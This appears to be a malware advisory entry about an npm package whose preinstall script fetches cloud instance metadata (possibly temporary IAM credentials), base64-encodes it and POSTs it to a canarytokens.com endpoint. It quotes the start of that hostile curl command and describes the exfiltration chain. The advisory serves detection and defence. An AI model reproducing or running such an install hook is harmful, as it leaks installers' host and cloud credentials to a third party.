GCVE-110-OSM-2026-12432

package.json declares a preinstall lifecycle script that runs automatically on `npm install`. The script uses curl to fetch the cloud instance metadata service (169.254.169.254, accessed via the nip.io wildcard-DNS wrapper `169.254.169.254.nip.io/latest/meta-data/`), base64-encodes the response, and POSTs it to a hardcoded third-party endpoint at http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php. On cloud and CI installers this discloses instance identity metadata and, where IMDSv1 is reachable, temporary IAM credentials to the destination. The package's description field self-labels the beacon as an 'Authorized report' with a wearehackerone.com contact address; that label is author-controlled and does not change the behavior class — installing the package causes installer-side host and cloud metadata to be sent off-host to a canarytoken beacon. ENTRY - Preinstall Script in package.json: ""preinstall": "curl -s -m 5 http://169.254.169.254.nip.io/latest/meta-data/ | ba..." DESTINATION - 1 fetched-payload (domains) (values recorded in verified_iocs) ADDITIONAL FINDINGS - Brand New Package - Very New NPM Publisher Account - Publisher Shows Burner-Account Pattern